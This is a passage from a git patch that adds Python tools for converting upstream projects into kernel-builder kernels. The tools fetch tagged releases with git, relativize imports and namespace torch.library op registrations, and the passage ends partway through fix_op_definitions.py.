From 0ef118352fc70de7f3dcc738b9a0baea2b9c9c86 Mon Sep 17 00:00:00 2001 From: Sayak Paul Date: Tue, 28 Jul 2026 06:50:30 +0000 Subject: [PATCH 1/3] start utilities to port kernels deterministically. --- tools/README.md | 214 ++++++++++++ tools/_ast_utils.py | 228 +++++++++++++ tools/_report.py | 145 ++++++++ tools/fetch_upstream.py | 184 ++++++++++ tools/fix_op_definitions.py | 386 +++++++++++++++++++++ tools/latest_tag.py | 277 +++++++++++++++ tools/relativize_imports.py | 456 +++++++++++++++++++++++++ tools/tests/test_fix_op_definitions.py | 321 +++++++++++++++++ tools/tests/test_latest_tag.py | 85 +++++ tools/tests/test_relativize_imports.py | 292 ++++++++++++++++ tools/tests/test_report.py | 92 +++++ 11 files changed, 2680 insertions(+) create mode 100644 tools/README.md create mode 100644 tools/_ast_utils.py create mode 100644 tools/_report.py create mode 100644 tools/fetch_upstream.py create mode 100644 tools/fix_op_definitions.py create mode 100644 tools/latest_tag.py create mode 100644 tools/relativize_imports.py create mode 100644 tools/tests/test_fix_op_definitions.py create mode 100644 tools/tests/test_latest_tag.py create mode 100644 tools/tests/test_relativize_imports.py create mode 100644 tools/tests/test_report.py diff --git a/tools/README.md b/tools/README.md new file mode 100644 index 00000000..a1e5c9bc --- /dev/null +++ b/tools/README.md @@ -0,0 +1,214 @@ +# Kernel conversion tools + +Small, single-purpose utilities for helping to convert an upstream project +into a `kernel-builder` kernel. They are meant to be driven by a coding agent, +so each one does exactly one thing, is safe to run repeatedly, and reports +machine-readable results. This helps in ensuring deterministic outputs. + +These "tools" can be run like so: + +```bash +python tools/.py --help +``` + +## Conventions + +The two **fetchers** (`latest_tag.py`, `fetch_upstream.py`) read from a +remote. The two **rewriters** (`relativize_imports.py`, +`fix_op_definitions.py`) edit files in place. All four share the same +contract: + +| | | +| --- | --- | +| Dry run by default | The rewriters change nothing unless `--write` is passed. | +| `--json` | Prints a single JSON object on stdout and nothing else. Human progress output goes to stderr, so the output is always safe to pipe. | +| `--diff` | Prints a unified diff of what changed (or would change). | +| Exit `0` | Clean: nothing to do, or everything was applied. | +| Exit `1` | Work is pending (dry run found changes), or something needs a human. | +| Exit `2` | The tool could not run (bad arguments, unreadable path, `git` failure). | + +### Changes vs. issues + +A **change** is a rewrite the tool can prove correct on its own. An +**issue** is a problem it found but cannot fix without information from +outside the file, so it reports it instead of guessing. + +Guessing would be worse than doing nothing. For example, in `flash-attn-ops`, +a wrapper calls `custom_op(name, ...)` with `name` as a parameter — and its +callers already pass `add_op_namespace_prefix("...")`. "Fixing" that +call would double-prefix the op into `ns::ns::...`, which builds fine +and breaks later. + +Issues keep the exit code at `1` even after `--write`. So exit `0` after +`--write` means the tree is genuinely done, and exit `1` means read the +`issues` list. + +With `--json`, both rewriters emit this report. The fetchers emit their own, +simpler objects, shown with each tool below. + +```json +{ + "tool": "fix-op-definitions", + "mode": "check", + "ok": false, + "summary": {"files_scanned": 3, "files_changed": 1, "changes": 2, "issues": 0}, + "changed_files": ["torch-ext/relu/op.py"], + "changes": [ + {"file": "torch-ext/relu/op.py", "line": 5, "kind": "op-name", + "before": "\"relu::relu_fwd\"", "after": "add_op_namespace_prefix(\"relu_fwd\")"}, + {"file": "torch-ext/relu/op.py", "line": 2, "kind": "import", + "before": "", "after": "from ._ops import add_op_namespace_prefix"} + ], + "issues": [] +} +``` + +Every edit is its own entry, tagged by `kind` — rewriting an op name and +adding the `_ops` import it needs are two changes, not one. + +## `latest_tag.py` — resolve the newest release tag + +Lists tags with `git ls-remote`, so nothing is cloned. + +```bash +python tools/latest_tag.py https://github.com/Dao-AILab/flash-attention.git +# v2.8.3.post1 +``` + +Versions are extracted from the tag name, which handles prefixed tags: +`fa4-v4.0.0.beta23` parses as `4.0.0.beta23`, not `4`. Ordering follows PEP +440, so `beta23` sorts above `beta9` and `v1.2.3.post1` above `v1.2.3`. + +Pre-releases are skipped unless `--include-prerelease`, so the default +answer is the latest *stable* tag. `--tag-pattern REGEX` restricts which +tags are considered, which matters for repositories that ship several +product lines from one tag namespace: + +```bash +python tools/latest_tag.py https://github.com/Dao-AILab/flash-attention.git \ + --tag-pattern '^fa4-' --include-prerelease --json +``` + +With `--json` the output also carries the tag's commit SHA and the next +`--limit` candidates. + +## `fetch_upstream.py` — clone a repository at a tag + +```bash +python tools/fetch_upstream.py https://github.com/Dao-AILab/flash-attention.git upstream/ +python tools/fetch_upstream.py https://github.com/Dao-AILab/flash-attention.git upstream/ \ + --tag v2.8.3 --strip-git --json +``` + +`--tag latest` (the default) resolves through `latest_tag.py` and accepts +the same `--tag-pattern` / `--include-prerelease` flags. Any other value is +verified against the remote before cloning, so a typo fails immediately +instead of producing an empty checkout. + +The clone is shallow and pinned to the tag. The resolved commit SHA is +reported, so it can be recorded in the sync commit or PR description. +`--strip-git` drops the `.git` directory for vendoring, and `--force` +replaces a non-empty destination (without it, a non-empty destination is an +error). + +## `relativize_imports.py` — make intra-kernel imports relative + +Hub kernels are loaded from a build variant directory whose name is *not* +the package name, so an absolute import of the kernel's own modules breaks +at load time. Every intra-kernel import must be relative — see +[kernel requirements](../docs/source/kernel-requirements.md). + +```bash +python tools/relativize_imports.py torch-ext/flash_attn4 # dry run +python tools/relativize_imports.py torch-ext/flash_attn4 --write +``` + +For a file at `/a/b/mod.py`: + +| Before | After | +| --- | --- | +| `from .utils import x` | `from ...utils import x` | +| `from import x` | `from ... import x` | +| `import .utils as u` | `from ... import utils as u` | +| `import .utils.helpers` | `from ...utils import helpers`, and `.utils.helpers.` references renamed to `helpers.` | + +The last row needs the reference rewrite because `import a.b.c` binds `a` +while the relative form binds `c`; there is no relative spelling that binds +a dotted name. + +Which absolute names count as intra-package is decided by: + +* **auto-detection** (default): a top-level name that is the package + directory name, or that exists as a module or subpackage inside it. This + covers vendored dependencies (`quack/`, `src/`) with no configuration. +* **`--module-map SRC=DST`**, for upstream packages that were renamed while + copying. `DST` is a package-relative dotted path; an empty `DST` means the + package root: + + ```bash + # upstream `liger_kernel.ops.*` was copied to torch-ext/liger_kernels/* + python tools/relativize_imports.py torch-ext/liger_kernels \ + --module-map liger_kernel.ops= --write + ``` + +`--no-auto` restricts rewriting to `--module-map` entries only. + +Not auto-fixed, reported for review: + +* `unresolved-target` — the import maps to a module that is not in the + package, usually a file that was not copied. +* `unrepresentable-import` — `import ` binds the package root, which + has no relative spelling. Import the submodules actually used instead. +* `dangling-reference` — a reference to a name the rewrite left unbound. +* `compound-import` — a multi-name `import` that shares its line with other + code, so it cannot be split. + +## `fix_op_definitions.py` — namespace Torch op registrations + +Several versions of the same kernel can be loaded into one process, so each +kernel gets a unique Torch op namespace at build time. Op names must never +hardcode a namespace; they go through `add_op_namespace_prefix` from the +generated `_ops` module — see +[writing kernels](../docs/source/builder/writing-kernels.md). + +```bash +python tools/fix_op_definitions.py torch-ext/hello # dry run +python tools/fix_op_definitions.py torch-ext/hello --write +``` + +```python +# before +@torch.library.custom_op("relu::relu_fwd", mutates_args=()) + +# after +from ._ops import add_op_namespace_prefix + +@torch.library.custom_op(add_op_namespace_prefix("relu_fwd"), mutates_args=()) +``` + +A hardcoded namespace (`relu::`) is stripped, since +`add_op_namespace_prefix` supplies the real one. The `from ._ops import +add_op_namespace_prefix` line is added when missing, with the right number +of dots for the file's depth. `_ops.py` itself is skipped. + +Only calls reached through the `torch.library` module count. Same-named +methods on the object returned by `custom_op` +(`my_op.register_autograd(backward, ...)`) and on `torch.library.Library` +(`lib.define(...)`) take a function or a bare schema rather than a +qualified op name, and are left alone. + +Not auto-fixed, reported for review: + +* `non-literal-op-name` — the op name is a variable or expression, so the + prefix cannot be added automatically. +* `hardcoded-library-namespace` — `torch.library.Library(...)` fixes the + namespace at construction. +* `rewrapped-helper` / `fallback-import` — the re-wrapping antipatterns that + `writing-kernels.md` warns about. Both defeat static analysis of ops and + can silently produce non-unique namespaces. + +## Tests + +```bash +python -m pytest tools/tests +``` diff --git a/tools/_ast_utils.py b/tools/_ast_utils.py new file mode 100644 index 00000000..aa310ec2 --- /dev/null +++ b/tools/_ast_utils.py @@ -0,0 +1,228 @@ +"""Shared helpers for the AST-based source rewriters in `tools/`. + +The rewriters parse Python with :mod:`ast` for *analysis* only. Rewriting is +done as surgical replacements of source spans, so comments, string quoting +style, formatting, and unrelated code survive byte-for-byte. Round-tripping +through :func:`ast.unparse` would destroy all of that, so it is never used to +emit whole files. + +Only the standard library is used, so every tool here runs with a bare +`python tools/.py` and no install step. +""" + +from __future__ import annotations + +import ast +import difflib +import io +import tokenize +from dataclasses import dataclass +from pathlib import Path +from typing import Iterable, List, Optional, Sequence, Tuple + + +@dataclass(frozen=True) +class Edit: + """A replacement of ``text[start:end]`` by ``new_text``.""" + + start: int + end: int + new_text: str + + +def apply_edits(text: str, edits: Iterable[Edit]) -> str: + """Apply non-overlapping `edits` to `text`. + + Raises: + ValueError: if two edits overlap. Overlapping edits mean the caller + derived two conflicting rewrites for the same source span, which + is always a bug rather than something to paper over. + """ + ordered = sorted(edits, key=lambda edit: (edit.start, edit.end)) + parts: List[str] = [] + pos = 0 + for edit in ordered: + if edit.start < pos: + raise ValueError(f"overlapping edits at offset {edit.start}") + parts.append(text[pos : edit.start]) + parts.append(edit.new_text) + pos = edit.end + parts.append(text[pos:]) + return "".join(parts) + + +class SourceFile: + """A parsed Python source file with offset-accurate span lookups.""" + + def __init__(self, path: Path, text: str): + self.path = path + self.text = text + self.tree = ast.parse(text, filename=str(path)) + + self._line_starts = [0] + for line in text.splitlines(keepends=True): + self._line_starts.append(self._line_starts[-1] + len(line)) + + self._tokens: Optional[List[Tuple[int, str, int, int]]] = None + + @classmethod + def read(cls, path: Path) -> "SourceFile": + return cls(path, path.read_text(encoding="utf-8")) + + def offset(self, lineno: int, col_offset: int) -> int: + """Convert an AST ``(lineno, col_offset)`` pair to a string offset. + + `ast` reports columns as UTF-8 *byte* offsets, so a line with + non-ASCII characters needs a re-decode to land on the right + character index. + """ + line_start = self._line_starts[lineno - 1] + line_end = ( + self._line_starts[lineno] + if lineno < len(self._line_starts) + else len(self.text) + ) + line = self.text[line_start:line_end] + prefix = line.encode("utf-8")[:col_offset].decode("utf-8", errors="ignore") + return line_start + len(prefix) + + def span(self, node: ast.AST) -> Tuple[int, int]: + """Return the ``(start, end)`` string offsets of `node`.""" + start = self.offset(node.lineno, node.col_offset) # type: ignore[attr-defined] + end = self.offset(node.end_lineno, node.end_col_offset) # type: ignore[attr-defined] + return start, end + + def segment(self, node: ast.AST) -> str: + start, end = self.span(node) + return self.text[start:end] + + def line_of(self, offset: int) -> int: + """Return the 1-based line number containing `offset`.""" + lo, hi = 0, len(self._line_starts) - 1 + while lo < hi: + mid = (lo + hi + 1) // 2 + if self._line_starts[mid] <= offset: + lo = mid + else: + hi = mid - 1 + return lo + 1 + + def indent_of(self, node: ast.stmt) -> Optional[str]: + """Return the indentation of `node`, or `None` if it does not start its line. + + A statement that shares a line with other code (``if x: import y``) + cannot be safely expanded into several statements, so callers use + `None` as a signal to report the case instead of rewriting it. + """ + start = self.offset(node.lineno, node.col_offset) + line_start = self._line_starts[node.lineno - 1] + prefix = self.text[line_start:start] + return prefix if prefix.strip() == "" else None + + def _char_offset(self, lineno: int, col: int) -> int: + """Convert a `tokenize` ``(lineno, col)`` pair to a string offset. + + Unlike `ast`, `tokenize` reports character columns, so no re-decode + is needed. + """ + return self._line_starts[lineno - 1] + col + + @property + def tokens(self) -> List[Tuple[int, str, int, int]]: + """Tokens as ``(type, string, start_offset, end_offset)`` tuples.""" + if self._tokens is None: + self._tokens = [ + ( + tok.type, + tok.string, + self._char_offset(*tok.start), + self._char_offset(*tok.end), + ) + for tok in tokenize.generate_tokens(io.StringIO(self.text).readline) + ] + return self._tokens + + def module_span(self, node: ast.ImportFrom) -> Tuple[int, int]: + """Return the offsets of the module part of a `from ... import ...`. + + The span covers everything between the `from` and `import` keywords, + including the surrounding whitespace, so replacing it leaves the + imported-name list (and any comments in it) untouched. + """ + start, end = self.span(node) + from_end = None + for tok_type, tok_str, tok_start, tok_end in self.tokens: + if tok_start < start or tok_start >= end: + continue + if tok_type != tokenize.NAME: + continue + if from_end is None: + if tok_str != "from": + break + from_end = tok_end + continue + if tok_str == "import": + return from_end, tok_start + raise ValueError( + f"{self.path}: could not locate `import` keyword on line {node.lineno}" + ) + + +def dotted_name(node: ast.AST) -> Optional[str]: + """Return the dotted path of a pure ``Name``/``Attribute`` chain.""" + parts: List[str] = [] + current = node + while isinstance(current, ast.Attribute): + parts.append(current.attr) + current = current.value + if not isinstance(current, ast.Name): + return None + parts.append(current.id) + return ".".join(reversed(parts)) + + +def iter_python_files(paths: Sequence[Path], exclude: Sequence[str] = ()) -> List[Path]: + """Collect `.py` files from `paths`, recursing into directories.""" + found: List[Path] = [] + for path in paths: + if path.is_dir(): + found.extend(sorted(path.rglob("*.py"))) + elif path.suffix == ".py": + found.append(path) + result = [] + for path in found: + if any(path.match(pattern) for pattern in exclude): + continue + result.append(path) + return result + + +def unified_diff(path: Path, before: str, after: str) -> str: + diff = difflib.unified_diff( + before.splitlines(keepends=True), + after.splitlines(keepends=True), + fromfile=f"a/{path}", + tofile=f"b/{path}", + ) + return "".join(diff) + + +def relative_import(from_parts: Sequence[str], target_parts: Sequence[str]) -> str: + """Build the shortest relative module reference between two package paths. + + `from_parts` is the package path of the *directory* holding the importing + file, relative to the package root; `target_parts` is the module path of + the import target, also relative to the package root. Both are empty at + the root. + + A module in ``/a/b/`` reaching ``/a/b/c`` gets ``.c``, and + reaching the root itself gets ``...`` (one dot for the current package, + plus one per level climbed). + """ + common = 0 + for left, right in zip(from_parts, target_parts): + if left != right: + break + common += 1 + dots = "." * (1 + len(from_parts) - common) + return dots + ".".join(target_parts[common:]) diff --git a/tools/_report.py b/tools/_report.py new file mode 100644 index 00000000..68f00eff --- /dev/null +++ b/tools/_report.py @@ -0,0 +1,145 @@ +"""Shared CLI reporting for the `tools/` rewriters. + +Every rewriter speaks the same protocol so an agent only has to learn it +once: + +* Running without `--write` is a dry run: nothing is touched and the exit + code says whether the tree is already clean. +* `--json` prints a single JSON object on stdout, and nothing else. Human + progress output goes to stderr, so `--json` output is always safe to pipe. +* Exit codes: `0` clean (or everything applied), `1` work is pending or + something needs a human, `2` the tool could not run. +""" + +from __future__ import annotations + +import json +import sys +from dataclasses import asdict, dataclass, field +from pathlib import Path +from typing import List, Optional + +EXIT_CLEAN = 0 +EXIT_PENDING = 1 +EXIT_ERROR = 2 + + +@dataclass +class Change: + """A rewrite the tool made (or would make in a dry run).""" + + file: str + line: int + kind: str + before: str + after: str + + +@dataclass +class Issue: + """Something the tool refuses to rewrite and a human must look at.""" + + file: str + line: int + kind: str + message: str + snippet: str = "" + + +@dataclass +class Report: + tool: str + mode: str + files_scanned: int = 0 + changes: List[Change] = field(default_factory=list) + issues: List[Issue] = field(default_factory=list) + diffs: dict = field(default_factory=dict) + + @property + def changed_files(self) -> List[str]: + seen = [] + for change in self.changes: + if change.file not in seen: + seen.append(change.file) + return seen + + @property + def ok(self) -> bool: + """True when there is nothing left for the caller to do.""" + if self.issues: + return False + return self.mode == "write" or not self.changes + + def to_json(self, include_diffs: bool) -> dict: + payload = { + "tool": self.tool, + "mode": self.mode, + "ok": self.ok, + "summary": { + "files_scanned": self.files_scanned, + "files_changed": len(self.changed_files), + "changes": len(self.changes), + "issues": len(self.issues), + }, + "changed_files": self.changed_files, + "changes": [asdict(change) for change in self.changes], + "issues": [asdict(issue) for issue in self.issues], + } + if include_diffs: + payload["diffs"] = self.diffs + return payload + + +def emit(report: Report, *, as_json: bool, show_diff: bool) -> int: + """Print `report` and return the process exit code.""" + if as_json: + json.dump(report.to_json(include_diffs=show_diff), sys.stdout, indent=2) + sys.stdout.write("\n") + return EXIT_CLEAN if report.ok else EXIT_PENDING + + verb = "Rewrote" if report.mode == "write" else "Would rewrite" + for change in report.changes: + print(f"{change.file}:{change.line}: {change.kind}") + print(f" - {change.before}") + print(f" + {change.after}") + + if show_diff: + for diff in report.diffs.values(): + sys.stdout.write(diff) + + for issue in report.issues: + location = f"{issue.file}:{issue.line}" + print(f"{location}: needs review ({issue.kind}): {issue.message}") + if issue.snippet: + print(f" {issue.snippet}") + + print( + f"\n{report.tool}: scanned {report.files_scanned} file(s), " + f"{verb.lower()} {len(report.changes)} import/op site(s) " + f"in {len(report.changed_files)} file(s), " + f"{len(report.issues)} need review.", + file=sys.stderr, + ) + if report.mode != "write" and report.changes: + print("Re-run with --write to apply.", file=sys.stderr) + + return EXIT_CLEAN if report.ok else EXIT_PENDING + + +def fail(message: str, *, as_json: bool, tool: str) -> int: + """Report a fatal error in the same shape as a normal run.""" + if as_json: + json.dump({"tool": tool, "ok": False, "error": message}, sys.stdout, indent=2) + sys.stdout.write("\n") + else: + print(f"error: {message}", file=sys.stderr) + return EXIT_ERROR + + +def display_path(path: Path, root: Optional[Path] = None) -> str: + """Render `path` relative to the working directory when possible.""" + base = root or Path.cwd() + try: + return str(path.resolve().relative_to(base.resolve())) + except ValueError: + return str(path) diff --git a/tools/fetch_upstream.py b/tools/fetch_upstream.py new file mode 100644 index 00000000..74c90f06 --- /dev/null +++ b/tools/fetch_upstream.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +"""Fetch an upstream kernel repository at a given tag. + +This is the "get it" half of fetching upstream kernel sources; tag +resolution lives in `latest_tag.py` and is reused here, so `--tag latest` +resolves to the newest *stable* tag without a separate call. + +The clone is shallow (`--depth 1`) and pinned to the resolved tag, and the +resolved commit SHA is reported so the exact upstream state can be recorded +in a sync commit message or PR description. + +Examples: + python tools/fetch_upstream.py https://github.com/Dao-AILab/flash-attention.git upstream/ + python tools/fetch_upstream.py https://github.com/Dao-AILab/flash-attention.git upstream/ \\ + --tag v2.8.3 --strip-git --json +""" + +from __future__ import annotations + +import argparse +import json +import os +import shutil +import subprocess +import sys +from pathlib import Path +from typing import Optional, Sequence + +from latest_tag import ( + EXIT_ERROR, + EXIT_NO_MATCH, + EXIT_OK, + add_selection_args, + latest_tag, + list_remote_tags, + parse_version, +) + + +def _run_git(args: Sequence[str], *, timeout: int) -> subprocess.CompletedProcess: + env = dict(os.environ) + env.setdefault("GIT_TERMINAL_PROMPT", "0") + try: + return subprocess.run( + ["git", *args], + capture_output=True, + text=True, + timeout=timeout, + env=env, + ) + except FileNotFoundError as err: + raise RuntimeError("`git` was not found on PATH") from err + except subprocess.TimeoutExpired as err: + raise RuntimeError( + f"`git {' '.join(args)}` timed out after {timeout}s" + ) from err + + +def _prepare_dest(dest: Path, force: bool) -> None: + if not dest.exists(): + return + if not dest.is_dir(): + raise RuntimeError(f"{dest} exists and is not a directory") + if not any(dest.iterdir()): + return + if not force: + raise RuntimeError(f"{dest} is not empty (pass --force to replace it)") + shutil.rmtree(dest) + + +def main(argv: Optional[Sequence[str]] = None) -> int: + parser = argparse.ArgumentParser( + prog="python tools/fetch_upstream.py", + description="Shallow-clone an upstream repository at a release tag.", + ) + parser.add_argument("url", help="Git URL, as passed to `git clone`.") + parser.add_argument("dest", type=Path, help="Directory to clone into.") + parser.add_argument( + "--tag", + default="latest", + help="Tag to check out, or 'latest' to resolve the newest tag (default: latest).", + ) + add_selection_args(parser) + parser.add_argument( + "--force", + action="store_true", + help="Replace the destination directory if it already has contents.", + ) + parser.add_argument( + "--strip-git", + action="store_true", + help="Remove the .git directory after cloning (for vendoring sources).", + ) + parser.add_argument("--json", action="store_true", help="Print a JSON object.") + args = parser.parse_args(argv) + + def bail(message: str, code: int) -> int: + if args.json: + json.dump( + {"url": args.url, "ok": False, "error": message}, sys.stdout, indent=2 + ) + sys.stdout.write("\n") + else: + print(f"error: {message}", file=sys.stderr) + return code + + prerelease = None + try: + if args.tag == "latest": + resolved, candidates = latest_tag( + args.url, + include_prerelease=args.include_prerelease, + pattern=args.tag_pattern, + timeout=args.timeout, + ) + if resolved is None: + hint = "no tag with a parseable version matched" + if not args.include_prerelease and candidates: + hint += " (try --include-prerelease)" + return bail(hint, EXIT_NO_MATCH) + tag = resolved.name + prerelease = resolved.version.is_prerelease + else: + tag = args.tag + known = { + name for name, _ in list_remote_tags(args.url, timeout=args.timeout) + } + if tag not in known: + return bail(f"tag {tag!r} does not exist in {args.url}", EXIT_NO_MATCH) + version = parse_version(tag) + prerelease = version.is_prerelease if version is not None else None + + _prepare_dest(args.dest, args.force) + + if not args.json: + print(f"Cloning {args.url} at {tag} into {args.dest}", file=sys.stderr) + clone = _run_git( + [ + "clone", + "--depth", + "1", + "--branch", + tag, + "--", + args.url, + str(args.dest), + ], + timeout=max(args.timeout, 600), + ) + if clone.returncode != 0: + return bail(f"clone failed: {clone.stderr.strip()}", EXIT_ERROR) + + rev = _run_git( + ["-C", str(args.dest), "rev-parse", "HEAD"], timeout=args.timeout + ) + sha = rev.stdout.strip() if rev.returncode == 0 else None + + if args.strip_git: + shutil.rmtree(args.dest / ".git", ignore_errors=True) + except RuntimeError as err: + return bail(str(err), EXIT_ERROR) + + if args.json: + json.dump( + { + "url": args.url, + "ok": True, + "tag": tag, + "sha": sha, + "prerelease": prerelease, + "dest": str(args.dest), + "git_stripped": args.strip_git, + }, + sys.stdout, + indent=2, + ) + sys.stdout.write("\n") + else: + print(f"{tag}\t{sha}\t{args.dest}") + return EXIT_OK + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/fix_op_definitions.py b/tools/fix_op_definitions.py new file mode 100644 index 00000000..93fed173 --- /dev/null +++ b/tools/fix_op_definitions.py @@ -0,0 +1,386 @@ +#!/usr/bin/env python3 +"""Fix Torch op registrations to use the build-generated namespace prefix. + +Several versions of the same kernel can be loaded into one Python process, +so every kernel gets a unique Torch op namespace at build time. Op names +must never hardcode a namespace: they go through `add_op_namespace_prefix` +from the generated `_ops` module. See +`docs/source/builder/writing-kernels.md`. + +This tool finds `torch.library` registrations with `ast`, rewrites the op +name argument, and adds the `_ops` import when it is missing: + + @torch.library.custom_op("relu::relu_fwd", mutates_args=()) + -> + @torch.library.custom_op(add_op_namespace_prefix("relu_fwd"), mutates_args=()) + +An existing hardcoded namespace (`relu::`) is stripped, since +`add_op_namespace_prefix` supplies the real one. + +Cases that cannot be fixed safely are reported rather than rewritten: op +names that are not string literals, `torch.library.Library(...)` (whose +namespace is fixed at construction), and the re-wrapping antipattern that +`writing-kernels.md` warns about. + +Nothing is written without `--write`. + +Examples: + python tools/fix_op_definitions.py torch-ext/hello + python tools/fix_op_definitions.py torch-ext/hello --write --json +""" + +from __future__ import annotations + +import argparse +import ast +import sys +from pathlib import Path +from typing import Dict, List, Optional, Sequence, Set + +from _ast_utils import ( + Edit, + SourceFile, + apply_edits, + dotted_name, + iter_python_files, + relative_import, + unified_diff, +) +from _report import Change, Issue, Report, display_path, emit, fail + +TOOL = "fix-op-definitions" + +HELPER = "add_op_namespace_prefix" +OPS_MODULE = "_ops" + +# `torch.library` functions whose first positional argument is an op name. +# +# Matching on the bare function name is not enough: most of these also exist +# as methods, on the `CustomOpDef` returned by `custom_op` +# (`my_op.register_autograd(backward, ...)`) and on `torch.library.Library` +# (`lib.define("myop() -> ()")`). In those forms the first argument is not an +# op name and the namespace comes from the receiver, so a call only counts +# when it is reached through the `torch.library` module itself. +OP_NAME_FUNCTIONS = frozenset( + { + "custom_op", + "triton_op", + "define", + "impl", + "impl_abstract", + "register_fake", + "register_kernel", + "register_autograd", + "register_vmap", + "register_torch_dispatch", + "register_autocast", + } +) + + +def _func_name(node: ast.Call) -> Optional[str]: + if isinstance(node.func, ast.Name): + return node.func.id + if isinstance(node.func, ast.Attribute): + return node.func.attr + return None + + +class FileFixer: + """Collects the op-registration edits for a single file.""" + + def __init__(self, source: SourceFile, ops_ref: str, label: str): + self.source = source + self.ops_ref = ops_ref + self.label = label + self.edits: List[Edit] = [] + self.changes: List[Change] = [] + self.issues: List[Issue] = [] + # Local name -> `torch.library` function it was imported as. + self.torch_library_funcs: Dict[str, str] = {} + # Local names that refer to the `torch.library` module itself. + self.torch_library_modules: Set[str] = {"torch.library"} + self.helper_bound = False + + def run(self) -> None: + self._scan_imports() + self._check_antipatterns() + for node in ast.walk(self.source.tree): + if isinstance(node, ast.Call): + self._visit_call(node) + if self.edits and not self.helper_bound: + self._insert_helper_import() + + def _issue(self, node: ast.AST, kind: str, message: str) -> None: + self.issues.append( + Issue( + file=self.label, + line=getattr(node, "lineno", 0), + kind=kind, + message=message, + snippet=" ".join(self.source.segment(node).split())[:200], + ) + ) + + def _scan_imports(self) -> None: + """Record how `torch.library` and the `_ops` helper are bound locally.""" + for node in ast.walk(self.source.tree): + if isinstance(node, ast.ImportFrom): + if node.level == 0 and node.module == "torch.library": + for alias in node.names: + self.torch_library_funcs[alias.asname or alias.name] = ( + alias.name + ) + if node.level == 0 and node.module == "torch": + for alias in node.names: + if alias.name == "library": + self.torch_library_modules.add(alias.asname or alias.name) + for alias in node.names: + if (alias.asname or alias.name) == HELPER: + self.helper_bound = True + elif isinstance(node, ast.Import): + for alias in node.names: + if alias.name == "torch.library" and alias.asname: + self.torch_library_modules.add(alias.asname) + elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + if node.name == HELPER: + self.helper_bound = True + + def _check_antipatterns(self) -> None: + for node in ast.walk(self.source.tree): + if isinstance(node, ast.Try): + imports_helper = any( + isinstance(child, ast.ImportFrom) + and any( + (alias.asname or alias.name) == HELPER for alias in child.names + ) + for child in ast.walk(node) + ) + if imports_helper and node.handlers: + self._issue( + node, + "fallback-import", + f"`{HELPER}` is imported with a fallback; a fallback masks a broken " + "import path and yields non-unique op names. Import it directly from " + f"`{OPS_MODULE}`.", + ) + elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + if node.name == HELPER: + self._issue( + node, + "rewrapped-helper", + f"`{HELPER}` is redefined here; it must be used directly from " + f"`{OPS_MODULE}` so that ops can be analyzed statically.", + ) + elif isinstance(node, ast.Call): + path = dotted_name(node.func) + is_torch_library = path is not None and ( + path.rpartition(".")[0] in self.torch_library_modules + and path.rpartition(".")[2] == "Library" + or self.torch_library_funcs.get(path) == "Library" + ) + if is_torch_library: + self._issue( + node, + "hardcoded-library-namespace", + "`torch.library.Library(...)` fixes the op namespace at construction; " + f"pass `{HELPER}(...)`-derived names or register ops with " + "`torch.library.custom_op` instead.", + ) + + def _is_op_registration(self, node: ast.Call) -> bool: + """Whether `node` is a `torch.library` call taking an op name first.""" + if isinstance(node.func, ast.Name): + original = self.torch_library_funcs.get(node.func.id) + return original is not None and original in OP_NAME_FUNCTIONS + if isinstance(node.func, ast.Attribute): + if node.func.attr not in OP_NAME_FUNCTIONS: + return False + receiver = dotted_name(node.func.value) + return receiver in self.torch_library_modules + return False + + def _visit_call(self, node: ast.Call) -> None: + if not self._is_op_registration(node): + return + if not node.args: + return + arg = node.args[0] + + if isinstance(arg, ast.Call) and _func_name(arg) == HELPER: + return # Already prefixed. + + if not (isinstance(arg, ast.Constant) and isinstance(arg.value, str)): + self._issue( + node, + "non-literal-op-name", + f"`{_func_name(node)}` is called with a non-literal op name, so the namespace " + f"prefix cannot be added automatically. Wrap it in `{HELPER}(...)` by hand.", + ) + return + + op_name = arg.value + # A hardcoded namespace is replaced, not kept: `add_op_namespace_prefix` + # supplies the unique one that the build generates. + _, _, bare = op_name.rpartition("::") + quote = "'" if '"' in bare else '"' + replacement = f"{HELPER}({quote}{bare}{quote})" + + start, end = self.source.span(arg) + self.edits.append(Edit(start, end, replacement)) + self.changes.append( + Change( + file=self.label, + line=node.lineno, + kind="op-name", + before=self.source.text[start:end], + after=replacement, + ) + ) + + def _insert_helper_import(self) -> None: + """Add `from _ops import add_op_namespace_prefix` after the imports.""" + statement = f"from {self.ops_ref} import {HELPER}" + body = self.source.tree.body + anchor = None + for node in body: + if isinstance(node, (ast.Import, ast.ImportFrom)): + anchor = node + elif ( + anchor is None + and isinstance(node, ast.Expr) + and isinstance(node.value, ast.Constant) + and isinstance(node.value.value, str) + ): + anchor = node # Module docstring. + + if anchor is None: + offset, text = 0, f"{statement}\n" + else: + _, offset = self.source.span(anchor) + text = f"\n{statement}" + + self.edits.append(Edit(offset, offset, text)) + self.changes.append( + Change( + file=self.label, + line=self.source.line_of(offset), + kind="import", + before="", + after=statement, + ) + ) + self.helper_bound = True + + +def find_package_root(path: Path) -> Path: + """Return the outermost directory of the package `path` belongs to.""" + directory = path if path.is_dir() else path.parent + root = directory + current = directory + while (current / "__init__.py").is_file(): + root = current + if current.parent == current: + break + current = current.parent + return root + + +def process( + paths: Sequence[Path], + *, + package_root: Optional[Path], + write: bool, + exclude: Sequence[str], +) -> Report: + report = Report(tool=TOOL, mode="write" if write else "check") + for path in iter_python_files(paths, exclude=exclude): + if path.name == f"{OPS_MODULE}.py": + continue # The generated module that defines the helper. + + label = display_path(path) + try: + source = SourceFile.read(path) + except SyntaxError as err: + report.issues.append( + Issue( + file=label, + line=err.lineno or 0, + kind="syntax-error", + message=f"could not parse: {err.msg}", + ) + ) + report.files_scanned += 1 + continue + + report.files_scanned += 1 + root = package_root or find_package_root(path) + try: + dir_parts = path.parent.resolve().relative_to(root.resolve()).parts + except ValueError: + dir_parts = () + ops_ref = relative_import(dir_parts, (OPS_MODULE,)) + + fixer = FileFixer(source, ops_ref, label) + fixer.run() + report.issues.extend(fixer.issues) + if not fixer.edits: + continue + + new_text = apply_edits(source.text, fixer.edits) + report.changes.extend(fixer.changes) + report.diffs[label] = unified_diff(Path(label), source.text, new_text) + if write: + path.write_text(new_text, encoding="utf-8") + return report + + +def main(argv: Optional[Sequence[str]] = None) -> int: + parser = argparse.ArgumentParser( + prog="python tools/fix_op_definitions.py", + description="Rewrite Torch op registrations to use 